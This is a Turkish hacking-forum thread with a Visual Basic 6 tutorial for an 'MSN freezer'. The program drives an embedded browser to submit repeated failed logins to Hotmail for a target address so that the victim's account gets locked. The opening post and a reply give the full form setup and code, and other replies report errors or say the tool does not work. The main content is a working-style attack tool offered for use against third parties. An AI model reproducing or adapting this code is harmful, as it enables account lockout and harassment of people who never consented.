Msn Dondurucu Kodları (Ayrıntılı Anlatım)

A

amrakolik

Üye
25 Mar 2009
56
0
Eklenmesi Gerekenler:


3 Adet TextBox, 1 Adet Label, 1 Adet web browser, 2 Adet Command Button, 2Adet Timer

Textbox,label,commandbutton ve timer visual basic 6.0'ın Soldaki menüsünde bulunmaktadır. Fakat Web Browser orda olmaz bunu eklemek için:
"Ctrl+T ==> Microsoft Internet Controls (Microsoft Internet Controls 6.0 DEĞİL)==> Tamam daha sonra soldaki menüde dünya resmi gibi bişey olacak onu ekleyeceğiz.

Command Buttun1'in Görevi: Dondurmak
Command Button2'nin Görevi: Dondurmayı İptal Etmek
Text1'in Görevi: Dondurulacak Msn Adresi Yazılır
Text2'in Görevi: Denenecek Şifre Yazılır (Önemli Değil Kafadan Sallayabilirsiniz 6-7 Karakter Yeterlidir.)
Text3'ün Görevi: Saldırı Sayısını Gösterir.(Buna Dokunmayın Hiçbir Veriyi Değiştirmeyin)
Label1'in Görevi: Durumu Gösterir
Timer1 ve Timer2'nin Görevi: Bunlar Önemli Değil Programı Yazıp Kaydettikten SonraForm Penceresinde Görünmeyecektir.

Gelelim Kodlara:

Kodlar


Private Sub c_StatusTextChange(ByVal Text As String)

End Sub

Private Sub Command1_Click()
Timer1.Enabled = True
Timer2.Enabled = True
Command1.Enabled = False
Label1.Caption = "Saldırı Başlatılmıştır"
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Text3.Text = "0"
Command1.Enabled = True
Label1.Caption = "Saldırı Durdurulmuştur"
End Sub
Private Sub Form_Load()
On Error Resume Next
WebBrowser1.Navigate "http://www.hotmail.com"
Text3.Text = "0"
Text3.Enabled = False
Text3.Locked = True
Timer1.Enabled = False
Timer2.Enabled = False
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
WebBrowser1.********.All.Item("login").Value = Text1.Text
WebBrowser1.********.All.Item("passwd").Value = Text2.Text
WebBrowser1.********.All.Item("SI").Click
End Sub
Private Sub Timer2_Timer()
Text3.Text = Text3.Text + 1
End Sub


Bunları Form Penceresine Yazın( Yazmadan Önce Kod Bölümündeki Herşeyi Silin)

Interval Değerini 300 Yapın



******** Yazan Alanlara D o c u m e n t Yazınız Boşluksuz Buşlukları Silin

Yapamayanlar Özel Mesaj Atsın Yardımcı Olurum


Yorumlarınızı Bekliyorum
 
I

IISpYKiilErII

Katılımcı Üye
15 Ağu 2009
559
0
55
Private Sub Timer1_Timer()
On Error Resume Next
WebBrowser1.********.All.Item("login").Value = Text1.Text
WebBrowser1.********.All.Item("passwd").Value = Text2.Text
WebBrowser1.********.All.Item("SI").Click
End Sub
Private Sub Timer2_Timer()
Text3.Text = Text3.Text + 1
End Sub


bu kodda eror alıyorum
 
A

Agemon

Özel Üye
22 Ocak 2010
6,476
1
bu dizinlerde hata alıyorum kardeşim bakar mısın bi ?

WebBrowser1.********.All.Item("login").Value = Text1.Text
WebBrowser1.********.All.Item("passwd").Value = Text2.Text
WebBrowser1.********.All.Item("SI").Click

hata:syntax
 
hackerkont

hackerkont

Katılımcı Üye
26 Eki 2008
265
0
s.a. arkadaşlar kardeşim kusura bakma kodları biraz eksik vermişsin heralde...

İlk Önce projemizden Ctrl+T kombinasyonundan "Microsoft İnternet Controls" ekliyoruz

Timerların İnvertal Değerleri 3000 olmalıdır.

daha sonra forma bunları yapıştırın

Private Sub c_StatusTextChange(ByVal Text As String)
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
Timer2.Enabled = True
Command1.Enabled = False
Label1.Caption = "Saldırı Başlatılmıştır"
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Text3.Text = "0"
Command1.Enabled = True
Label1.Caption = "Saldırı Durdurulmuştur"
End Sub

Private Sub Command3_Click()
End
End Sub

Private Sub Form_Load()
On Error Resume Next
WebBrowser1.Navigate "http://www.hotmail.com"
Text3.Text = "0"
Text3.Enabled = False
Text3.Locked = True
Timer1.Enabled = False
Timer2.Enabled = False
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
WebBrowser1.********.All.Item("login").Value = Text1.Text
WebBrowser1.********.All.Item("passwd").Value = Text2.Text
WebBrowser1.********.All.Item("SI").Click
End Sub

Private Sub Timer2_Timer()
Text3.Text = Text3.Text + 1
End Sub
 
hackerkont

hackerkont

Katılımcı Üye
26 Eki 2008
265
0
s.a. kardeşim oralar gine çıkmadı *** yerlerin hepsinde dokument

dokument yazma sebebim yaznın * çıkmasıdır k nin dokumentteki k nin yerine c yazınız...


 
Son düzenleme:
B

By Jk--*

Üye
24 Haz 2010
59
0
İstanbul/Gazi.Osman.Paşa
Arkadaşlar Herşeyi Yaptım Codladım Boşuna uğraşmayın codladım olmuyor exe yaptım her yolu denedim hataları çözmeye çalıştım ama bazılarını çözemedim ve sonradan çözdüm yaptım ama olmadı



yinede teşekkürler amrakolik
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.